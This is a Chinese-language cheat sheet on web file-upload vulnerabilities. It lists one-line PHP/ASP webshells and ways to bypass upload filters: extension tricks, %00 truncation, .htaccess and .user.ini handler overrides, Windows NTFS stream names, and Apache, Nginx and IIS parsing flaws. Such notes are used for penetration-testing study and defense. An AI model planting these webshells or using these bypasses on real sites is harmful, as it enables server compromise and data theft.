文件上传
文件上传的原因
-
文件上传时检查不严格,可以直接上传php,asp等代码
-
文件上传后修改文件名处理不当
-
引用第三方插件
-
服务器配置不当
-
开源编辑器的上传漏洞
-
本地文件上传限制被绕过
-
文件解析漏洞导致文件执行
-
文件路径截断
引起的问题
- 上传可执行脚本
- 上传flash策略文件,可控制flash行为
- 上传病毒、木马
- 钓鱼、欺诈
- webshell
常见存在文件上传漏洞的地方
- 头像
- 网站logo
- 友情链接
- 编辑器
- 后台中的文件上传
- 模板管理
- 主题管理
- 插件管理
- 写文章
- 水印图片
webshell
<?php eval($_POST('pass'));?>
<?php eval($_POST(pass));?>
<?php @eval($_POST('pass'));?>
<script language="php"> </script>
<% eval request("caidao")%>
绕过方式
前端过滤
- 禁用JS
- 抓包绕过
黑名单
限制内容
- 后缀
- php 、php3、 php4、php5、php7、pht、phtml、phar、phps
- asp、aspx、cer、cdx、asa、asax
- jsp、jspa、jspx
- Content-Type
- 文件头
- 文件任荣
- 文件大小
绕过方式
- 大小写、双写、加空
- 结合apache解析漏洞
- .user.ini
- .htaccess
- 利用windows特性,会自动去掉后缀名中最后的”.” 在文件名后加 “ .” 绕过
白名单
限制内容
-
后缀
-
Content-Type
image/gif
-
文件头
-
文件大小
绕过方式
- %00截断
- 解析漏洞
- 文件包含
- 条件竞争上传
绕过方式总结
.htaccess文件
#类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
#将该目录下的所有文件解析为php文件来执行
SetHandler application/x-httpd-php
windows特性
(1)上传 shell. php(%80-99)
Windows特殊字符:
当我们上传一个文件的filename为shell.php{%80-%99}时:
waf可能识别为.php{%80-%99},就会导致被绕过。
(2)文件名后添加.....
Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php…也可以这么写shell.php::$DATA…。
(2) NTFS ADS特性
上传的文件名 | 服务器表面现象 | 生成的文件内容 |
---|---|---|
Test.php:a.jpg | 生成Test.php | 空 |
Test.php::$DATA | 生成test.php | |
Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | |
Test.php::$DATA .jpg | 生成0.jpg | |
Test.php::$DATAaaa.jpg | 生成aaa.jpg |
1php:.jpg这类文件在上传后,在 Windows中会被保存为一个空的1.php文件,然后可
以再上传一个1.php<>或者1php<或者其他 Windows不允许的后缀,就会覆盖前边那个空的
1.php
Apache解析漏洞
apache2.0、apache2.2
成因
由于 Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽
略,往左进行识别,如果左边是在解析范围內的就会正常解析,而一般程序进行判断文件是否
允许上传是根据最后的后缀名进行判断的。
Nginx解析漏洞
1、配置错误导致的解析漏洞
对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,是用户配置不
当造成的
2、00截断
- 版本 0.5.* |0.6.* | 0.7 - 0.7.65 | 0.8 - 0.8.37
利用0截断,如shell.jpg%00.php
访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
http://www.xxx.com/xx.jpg.php
- 版本0.8.41-1.5.6
利用0截断,如shell.png%20%00.php
.user.ini
使用条件
- 服务器脚本语言为PHP服务器使用CGI/ Fast模式
- 上传目录下要有可执行的php文件
- 例如: PHP study中使用 nginx中间件的时候就可以进行实验。
使用方式
(1)、上传一张图片
(2)、上传 user. ini文件。内容为
auto_prepend_file=2.jpg
(3)访问:http://ip/UpLoad/2.png/xx.php(目录中存在的一个php文件)
IIS解析漏洞
IIS 5.×-6.x
- 目录名,包含 .asp.asa .cer,则该目录下的文件都将被解析为 .asp文件
- 文件名中,分号本身以及后面的都会被系统忽略 a.asp;.gif
- 文件名,文件后缀名字中为.asp .asa .cer,cdx 之一,都会被解析为 .asp文件
IIS 7.0-7.5
PHP CGI解析漏洞
在默认Fast-CGI开启状况下,访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
http://www.xxx.com/xx.jpg/.php